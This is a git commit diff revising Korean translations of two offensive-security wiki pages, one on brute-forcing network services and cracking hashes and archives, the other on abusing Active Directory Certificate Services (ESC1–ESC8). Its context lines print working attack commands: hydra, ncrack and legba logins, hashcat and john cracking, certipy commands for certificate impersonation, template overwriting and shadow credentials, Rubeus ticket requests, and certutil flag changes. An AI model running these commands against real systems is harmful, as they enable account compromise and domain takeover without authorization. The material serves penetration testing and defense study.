Translated ['src/generic-hacking/brute-force.md', 'src/windows-hardening

This commit is contained in:
Translator 2025-06-24 08:32:12 +00:00
parent dc60559f34
commit 713873dbe8
2 changed files with 267 additions and 68 deletions

View File

@ -309,7 +309,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
```
### PPTP
`.deb` 패키지를 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드하여 설치할 수 있습니다.
`.deb` 패키지를 설치하려면 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드할 수 있습니다.
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
@ -320,7 +320,7 @@ ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
### 레디스
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -406,7 +406,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호 작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -480,7 +480,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
```
#### 알려진 평문 zip 공격
암호화된 zip 안에 포함된 **파일의 평문** (또는 평문의 일부)을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
암호화된 zip 안에 포함된 **파일의 평문**(또는 평문의 일부)을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
@ -535,7 +535,7 @@ Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### 키패스
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
@ -549,7 +549,7 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Luks 이미지
### Lucks 이미지
#### 방법 1
@ -644,7 +644,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
#### Hashcat 공격
- **단어 목록 공격** (`-a 0`) 규칙
- **단어 목록 공격** (`-a 0`) 규칙
**Hashcat**은 이미 **규칙이 포함된 폴더**와 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```

View File

@ -19,16 +19,16 @@
- **권한 있는 직원의 서명이 필요하지 않습니다.**
- **인증서 템플릿의 보안 설명자가 지나치게 관대하여 낮은 권한의 사용자가 등록 권한을 얻을 수 있습니다.**
- **인증서 템플릿은 인증을 용이하게 하는 EKU를 정의하도록 구성됩니다:**
- 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그인 (OID 1.3.6.1.4.1.311.20.2.2), 모든 목적 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
- **인증서 서명 요청 (CSR)에 subjectAltName을 포함할 수 있는 요청자의 능력이 템플릿에 의해 허용됩니다:**
- Active Directory (AD)는 인증서에 있는 경우 신원 확인을 위해 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 모든 사용자(예: 도메인 관리자)를 가장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에서 `mspki-certificate-name-flag` 속성을 통해 표시됩니다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 존재하면 요청자가 SAN을 지정할 수 있습니다.
- 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그인 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
- **요청자가 인증서 서명 요청 (CSR)에 subjectAltName을 포함할 수 있는 능력이 템플릿에 의해 허용됩니다:**
- Active Directory (AD)는 인증을 위해 인증서의 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 어떤 사용자(예: 도메인 관리자)를 가장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에서 `mspki-certificate-name-flag` 속성을 통해 표시됩니다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 존재하면 요청자가 SAN을 지정할 수 있습니다.
> [!CAUTION]
> 설명된 구성은 낮은 권한의 사용자가 선택한 SAN으로 인증서를 요청할 수 있도록 허용하여 Kerberos 또는 SChannel을 통해 모든 도메인 주체로 인증할 수 있게 합니다.
> 설명된 구성은 낮은 권한의 사용자가 선택한 SAN으로 인증서를 요청할 수 있도록 하여 Kerberos 또는 SChannel을 통해 어떤 도메인 주체로도 인증할 수 있게 합니다.
이 기능은 때때로 HTTPS 또는 호스트 인증서의 즉석 생성 지원을 위해 제품이나 배포 서비스에 의해 활성화되거나 이해 부족으로 인해 활성화됩니다.
이 옵션으로 인증서를 생성하면 경고가 발생하는데, 이는 기존 인증서 템플릿(예: `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화된 `WebServer` 템플릿)을 복제한 후 인증 OID를 포함하도록 수정할 때는 발생하지 않습니다.
이 옵션으로 인증서를 생성하면 경고가 발생하는데, 이는 기존 인증서 템플릿(예: `WebServer` 템플릿, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화된 경우)을 복제한 후 인증 OID를 포함하도록 수정할 때는 발생하지 않습니다.
### 남용
@ -65,11 +65,11 @@ AD 포리스트의 구성 스키마 내에서 인증서 템플릿을 열거하
4. 인증서 템플릿에 대한 지나치게 관대한 보안 설명자가 저권한 사용자에게 인증서 등록 권한을 부여합니다.
5. **인증서 템플릿은 Any Purpose EKU 또는 EKU가 없는 것으로 정의됩니다.**
**Any Purpose EKU**는 공격자가 **모든 목적**(클라이언트 인증, 서버 인증, 코드 서명 등)을 위해 인증서를 얻을 수 있도록 허용합니다. **ESC3에 사용된 동일한 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
**Any Purpose EKU**는 공격자가 **어떤 목적**으로든 인증서를 얻을 수 있도록 허용하며, 여기에는 클라이언트 인증, 서버 인증, 코드 서명 등이 포함됩니다. **ESC3에 사용된 동일한 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
**EKU가 없는** 인증서는 하위 CA 인증서로 작용하며 **모든 목적**을 위해 악용될 수 있으며 **새로운 인증서를 서명하는 데에도 사용될 수 있습니다**. 따라서 공격자는 하위 CA 인증서를 활용하여 새로운 인증서에 임의의 EKU 또는 필드를 지정할 수 있습니다.
**EKU가 없는** 인증서는 하위 CA 인증서로 작용하며, **어떤 목적**으로든 악용될 수 있으며 **새로운 인증서에 서명하는 데에도 사용될 수 있습니다**. 따라서 공격자는 하위 CA 인증서를 활용하여 새로운 인증서에 임의의 EKU 또는 필드를 지정할 수 있습니다.
그러나 **도메인 인증**을 위해 생성된 새로운 인증서는 하위 CA가 **`NTAuthCertificates`** 객체에 의해 신뢰되지 않는 경우 작동하지 않습니다. 이는 기본 설정입니다. 그럼에도 불구하고 공격자는 여전히 **임의의 EKU**와 임의의 인증서 값을 가진 **새로운 인증서**를 생성할 수 있습니다. 이러한 인증서는 잠재적으로 **다양한 목적**(예: 코드 서명, 서버 인증 등)으로 **남용될 수** 있으며, SAML, AD FS 또는 IPSec과 같은 네트워크의 다른 애플리케이션에 중대한 영향을 미칠 수 있습니다.
그러나 **도메인 인증**을 위해 생성된 새로운 인증서는 하위 CA가 **`NTAuthCertificates`** 객체에 의해 신뢰되지 않는 경우 작동하지 않습니다. 이는 기본 설정입니다. 그럼에도 불구하고 공격자는 여전히 **임의의 EKU**와 임의의 인증서 값을 가진 **새로운 인증서**를 생성할 수 있습니다. 이러한 인증서는 잠재적으로 **다양한 목적**(예: 코드 서명, 서버 인증 등)으로 악용될 수 있으며, SAML, AD FS 또는 IPSec과 같은 네트워크의 다른 애플리케이션에 중대한 영향을 미칠 수 있습니다.
AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 나열하기 위해 다음 LDAP 쿼리를 실행할 수 있습니다:
```
@ -79,26 +79,26 @@ AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플
### 설명
이 시나리오는 첫 번째와 두 번째와 비슷하지만 **다른 EKU**(인증서 요청 에이전트)를 **악용**하고 **2개의 다른 템플릿**을 사용합니다(따라서 2세트의 요구 사항이 있습니다).
이 시나리오는 첫 번째와 두 번째와 비슷하지만 **다른 EKU**(Certificate Request Agent)를 **악용**하고 **2개의 다른 템플릿**을 사용합니다(따라서 2세트의 요구 사항이 있습니다).
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **등록 에이전트**로 알려져 있으며, 주체가 **다른 사용자를 대신하여 인증서에 등록**할 수 있도록 허용합니다.
**Certificate Request Agent EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **Enrollment Agent**로 알려져 있으며, 주체가 **다른 사용자**를 대신하여 **인증서****등록**할 수 있도록 허용합니다.
**“등록 에이전트”**는 그러한 **템플릿**에 등록하고 결과적으로 생성된 **인증서를 사용하여 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하고, **“대신 등록”을 허용하는 템플릿**에 등록하며, CA는 **“다른” 사용자에게 속하는 인증서**로 응답합니다.
**“등록 에이전트”**는 그러한 **템플릿**에 등록하고 결과적으로 **다른 사용자를 대신하여 CSR에 공동 서명**하는 데 사용되는 **인증서**를 사용합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하고, **“대신 등록”을 허용하는** 템플릿에 등록하며, CA는 **“다른” 사용자에게 속하는 인증서**로 응답합니다.
**요구 사항 1:**
- 엔터프라이즈 CA에 의해 저권한 사용자에게 등록 권한이 부여됩니다.
- 등록 권한이 엔터프라이즈 CA에 의해 낮은 권한의 사용자에게 부여됩니다.
- 관리자 승인 요구 사항이 생략됩니다.
- 승인된 서명에 대한 요구 사항이 없습니다.
- 인증서 템플릿의 보안 설명자는 지나치게 관대하여 저권한 사용자에게 등록 권한을 부여합니다.
- 인증서 템플릿에는 인증서 요청 에이전트 EKU가 포함되어 있어 다른 주체를 대신하여 다른 인증서 템플릿을 요청할 수 있습니다.
- 인증서 템플릿의 보안 설명자가 지나치게 관대하여 낮은 권한의 사용자에게 등록 권한을 부여합니다.
- 인증서 템플릿에는 Certificate Request Agent EKU가 포함되어 있어 다른 주체를 대신하여 다른 인증서 템플릿을 요청할 수 있습니다.
**요구 사항 2:**
- 엔터프라이즈 CA는 저권한 사용자에게 등록 권한을 부여합니다.
- 엔터프라이즈 CA는 낮은 권한의 사용자에게 등록 권한을 부여합니다.
- 관리자 승인이 우회됩니다.
- 템플릿의 스키마 버전은 1이거나 2를 초과하며, 인증서 요청 에이전트 EKU를 필요로 하는 애플리케이션 정책 발급 요구 사항을 지정합니다.
- 인증서 템플릿에 정의된 EKU 도메인 인증을 허용합니다.
- 템플릿의 스키마 버전이 1이거나 2를 초과하며, Certificate Request Agent EKU를 필요로 하는 애플리케이션 정책 발급 요구 사항을 지정합니다.
- 인증서 템플릿에 정의된 EKU 도메인 인증을 허용합니다.
- CA에서 등록 에이전트에 대한 제한이 적용되지 않습니다.
### 악용
@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
허용된 **사용자**는 **등록 에이전트 인증서**를 **획득**할 수 있으며, 등록 **에이전트**가 등록할 수 있는 템플릿과 등록 에이전트가 대신하여 행동할 수 있는 **계정**은 엔터프라이즈 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고, **CA를 마우스 오른쪽 버튼으로 클릭**한 후, **속성 클릭** 및 “등록 에이전트” 탭으로 **탐색**하여 달성됩니다.
허용된 **사용자**는 **등록 에이전트 인증서**를 **획득**할 수 있으며, 등록 **에이전트**가 등록할 수 있는 템플릿과 등록 에이전트가 대신하여 행동할 수 있는 **계정**은 엔터프라이즈 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고, **CA를 마우스 오른쪽 버튼으로 클릭**한 다음, **속성 클릭** 후 “Enrollment Agents” 탭으로 **이동**하여 달성됩니다.
그러나 CA의 **기본** 설정은 “**등록 에이전트를 제한하지 않음**”으로 설정되어 있음을 주목해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면 “등록 에이전트를 제한”으로 설정하더라도 기본 구성은 여전히 매우 관대합니다. 이는 **모든 사람**이 누구로든 모든 템플릿에 등록할 수 있도록 허용합니다.
@ -127,15 +127,15 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
**인증서 템플릿**에 대한 **보안 설명자**는 템플릿에 대해 특정 **AD 주체**가 보유한 **권한**을 정의합니다.
**공격자**가 **템플릿**을 **변경**하고 **이전 섹션**에 설명된 **악용 가능한 잘못된 구성**을 **설치**할 수 있는 필수 **권한**을 보유하고 있다면, 권한 상승이 촉진될 수 있습니다.
**공격자**가 **템플릿**을 **변경**하고 **이전 섹션**에서 설명한 **악용 가능한 잘못된 구성**을 **설치**할 수 있는 필수 **권한**을 보유하고 있다면, 권한 상승이 촉진될 수 있습니다.
인증서 템플릿에 적용 가능한 주목할 만한 권한은 다음과 같습니다:
- **소유자:** 객체에 대한 암묵적인 제어를 부여하여 모든 속성을 수정할 수 있니다.
- **소유자:** 객체에 대한 암묵적인 제어를 부여하여 모든 속성을 수정할 수 있게 합니다.
- **전체 제어:** 객체에 대한 완전한 권한을 부여하며, 모든 속성을 변경할 수 있는 능력을 포함합니다.
- **소유자 쓰기:** 공격자가 제어하는 주체로 객체의 소유자를 변경할 수 있도록 허용합니다.
- **DACL 쓰기:** 접근 제어를 조정할 수 있으며, 공격자에게 전체 제어를 부여할 수 있습니다.
- **속성 쓰기:** 모든 객체 속성을 편집할 수 있도록 권한을 부여합니다.
- **소유자 쓰기:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 허용합니다.
- **DACL 쓰기:** 접근 제어를 조정할 수 있게 하여 공격자에게 전체 제어를 부여할 수 있습니다.
- **속성 쓰기:** 모든 객체 속성을 편집할 수 있 권한을 부여합니다.
### 남용
@ -143,13 +143,13 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가질 때 발생합니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어써서 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가질 때 발생합니다. 예를 들어, 이는 인증서 템플릿의 구성을 덮어써서 ESC1에 취약하도록 만들기 위해 악용될 수 있습니다.
위 경로에서 볼 수 있듯이, 오직 `JOHNPC`만 이러한 권한을 가지고 있지만, 우리의 사용자 `JOHN``JOHNPC`에 대한 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술이 인증서와 관련이 있기 때문에, 저는 이 공격을 구현했으며, 이는 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려져 있습니다. 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령의 작은 미리보기를 보여드립니다.
위 경로에서 볼 수 있듯이, 오직 `JOHNPC`만 이러한 권한을 가지고 있지만, 우리의 사용자 `JOHN``JOHNPC`에 대한 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술이 인증서와 관련이 있기 때문에, 저는 이 공격을 구현했습니다. 이는 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려져 있습니다. 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령의 작은 미리 보기를 보여드립니다.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. 기본적으로 Certipy는 구성을 **ESC1에 취약하게** 만들기 위해 **덮어씁니다**. 또한 **구성을 복원하는 데 유용할** 구성을 저장하기 위해 **`-save-old` 매개변수를 지정할 수 있습니다**.
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본적으로**, Certipy는 구성을 **ESC1에 취약하도록 덮어씁니다**. 또한 **`-save-old` 매개변수를 지정하여 이전 구성을 저장할 수 있으며**, 이는 공격 후 구성을 **복원하는 데 유용**할 것입니다.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -170,15 +170,15 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
- CA 서버의 RPC/DCOM 서버.
- 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 모든 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 등록 서비스 컨테이너와 같은 컨테이너 및 객체가 포함되지만 이에 국한되지 않습니다.
저권한 공격자가 이러한 중요한 구성 요소 중 하나를 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
권한 공격자가 이러한 중요한 구성 요소 중 하나를 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Explanation
[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 의미를 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주체 대체 이름**에 포함할 수 있도록 허용합니다. 이는 Active Directory®에서 구성된 요청을 포함하여 **모든 요청**에 해당합니다. 결과적으로, 이 조항은 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있도록 허용합니다. 특히, 표준 사용자 템플릿과 같이 **비특권** 사용자 등록이 가능한 템플릿이 해당됩니다. 결과적으로, 인증서를 확보하여 침입자가 도메인 관리자 또는 도메인 내의 **다른 활성 엔티**로 인증할 수 있게 됩니다.
[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 의미를 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주체 대체 이름**에 포함할 수 있도록 허용합니다. 이는 Active Directory®에서 구성된 요청을 포함하여 **모든 요청**에 해당합니다. 결과적으로, 이 조항은 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있도록 하며, 특히 표준 사용자 템플릿과 같이 **비권한** 사용자 등록이 가능한 템플릿에 해당합니다. 그 결과, 인증서를 확보하여 침입자가 도메인 관리자 또는 도메인 내의 **다른 활성 엔티**로 인증할 수 있게 됩니다.
**Note**: `certreq.exe`에서 `-attrib "SAN:"` 인수를 통해 인증서 서명 요청(CSR)에 **대체 이름**을 추가하는 방법은 ESC1의 SAN 악용 전략과 **대조적**입니다. 여기서의 차이는 **계정 정보가 캡슐화되는 방식**에 있습니다—확장자가 아닌 인증서 속성 내에 포함됩니다.
**Note**: `certreq.exe`에서 `-attrib "SAN:"` 인수를 통해 인증서 서명 요청(CSR)에 **대체 이름**을 추가하는 방법은 ESC1의 SAN 악용 전략과 **대조**를 이룹니다. 여기서의 차이는 **계정 정보가 캡슐화되는 방식**에 있으며, 확장 대신 인증서 속성 내에 포함됩니다.
### Abuse
@ -208,16 +208,16 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> 2022년 5월 보안 업데이트 이후, 새로 발급된 **certificates**는 **requester's `objectSid` property**를 포함하는 **security extension**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 **requester's `objectSid`**를 반영하며, SAN이 아닙니다.\
> ESC6를 악용하기 위해서는 시스템이 ESC10(Weak Certificate Mappings)에 취약해야 하며, 이는 **새로운 security extension**보다 **SAN**을 우선시합니다.
> 2022년 5월 보안 업데이트 이후, 새로 발급된 **certificates**는 **requester's `objectSid` property**를 포함하는 **security extension**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 **requester's `objectSid`**를 반영하며, SAN은 반영하지 않습니다.\
> ESC6를 악용하기 위해서는 시스템이 ESC10(Weak Certificate Mappings)에 취약해야 하며, 이는 **새로운 security extension보다 SAN을 우선시**합니다.
## 취약한 인증서 기관 접근 제어 - ESC7
## 취약한 Certificate Authority 접근 제어 - ESC7
### 공격 1
#### 설명
인증 기관에 대한 접근 제어는 CA 작업을 관리하는 일련의 권한을 통해 유지됩니다. 이러한 권한은 `certsrv.msc`에 접근하여 CA를 마우스 오른쪽 버튼으로 클릭하고, 속성을 선택한 다음, 보안 탭으로 이동하여 확인할 수 있습니다. 또한, PSPKI 모듈을 사용하여 다음과 같은 명령으로 권한을 열거할 수 있습니다:
인증 기관에 대한 접근 제어는 CA 작업을 관리하는 일련의 권한을 통해 유지됩니다. 이러한 권한은 `certsrv.msc`에 접근하여 CA를 마우스 오른쪽 버튼으로 클릭하고, 속성을 선택한 다음, 보안 탭으로 이동하여 확인할 수 있습니다. 또한, PSPKI 모듈을 사용하여 다음과 같은 명령으로 권한을 열거할 수 있습니다:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
@ -225,7 +225,7 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
#### 남용
인증 기관에서 **`ManageCA`** 권한을 가지면 주체가 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하여 모든 템플릿에서 SAN 지정을 허용하는 것이 포함되며, 이는 도메인 상승의 중요한 측면입니다.
인증 기관에서 **`ManageCA`** 권한을 가지면 주체가 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 모든 템플릿에서 SAN 지정을 허용하기 위해 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하는 것이 포함되며, 이는 도메인 상승의 중요한 측면입니다.
이 프로세스의 단순화는 PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하여 직접 GUI 상호작용 없이 수정할 수 있습니다.
@ -299,14 +299,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
우리의 **`Manage CA``Manage Certificates`**를 사용하여 **실패한 인증서** 요청을 `ca` 명령과 `-issue-request <request ID>` 매개변수**발급할 수 있습니다**.
우리의 **`Manage CA``Manage Certificates`**를 사용하여 `ca` 명령과 `-issue-request <request ID>` 매개변수를 사용하여 **실패한 인증서** 요청을 **발급**할 수 있습니다.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
마지막으로, `req` 명령어와 `-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서**를 **가져올** 수 있습니다.
마지막으로, `req` 명령`-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서를 검색**할 수 있습니다.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -322,17 +322,17 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Explanation
> [!NOTE]
> **AD CS가 설치된** 환경에서 **취약한 웹 등록 엔드포인트**가 존재하고, **도메인 컴퓨터 등록 및 클라이언트 인증**을 허용하는 **인증서 템플릿이 게시**된 경우, **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 손상될 수 있습니다**!
> [!TIP]
> **AD CS가 설치된** 환경에서, **취약한 웹 등록 엔드포인트**가 존재하고 **도메인 컴퓨터 등록 및 클라이언트 인증**을 허용하는 **인증서 템플릿이 게시**된 경우(예: 기본 **`Machine`** 템플릿), **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 손상될 수 있습니다**!
AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공되는 여러 **HTTP 기반 등록 방법**을 지원합니다. HTTP 기반 인증서 등록을 위한 이러한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. 공격자는 **손상된 머신에서 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서 요청**을 할 수 있습니다.
AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공되는 여러 **HTTP 기반 등록 방법**을 지원합니다. HTTP 기반 인증서 등록을 위한 이러한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. 공격자는 **손상된 머신에서, 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서 요청**을 할 수 있습니다.
- **웹 등록 인터페이스**(`http://<caserver>/certsrv/`에서 사용할 수 있는 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, Authorization HTTP 헤더를 통해 NTLM 인증만 명시적으로 허용하여 Kerberos와 같은 더 안전한 인증 방법을 적용할 수 없게 만듭니다.
- **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 **Kerberos와 NTLM**을 모두 지원하여 공격자가 릴레이 공격 중 **NTLM으로 다운그레이드**할 수 있게 합니다. 이러한 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 **NTLM 릴레이 공격으로부터 보호되지 않습니다**. HTTPS 서비스에 대한 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때만 가능합니다. 불행히도, AD CS는 채널 바인딩에 필요한 IIS에서 인증에 대한 확장 보호를 활성화하지 않니다.
